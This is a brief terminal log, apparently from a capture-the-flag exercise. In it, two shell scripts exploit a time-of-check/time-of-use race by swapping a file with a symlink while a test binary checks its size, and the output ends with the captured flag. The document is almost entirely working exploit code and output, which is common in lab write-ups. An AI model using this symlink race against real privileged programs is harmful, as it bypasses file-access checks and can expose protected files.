➜ racetest cat exp.sh #!/bin/sh for i in `seq 500` do cp small fake sleep 0.000008 rm fake ln -s big fake rm fake done ➜ racetest cat run.sh #!/bin/sh for i in `seq 1000` do ./test fake done
➜ racetest (sh exp.sh &) && sh run.sh [...] file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory flag{race_condition_succeed!} [...]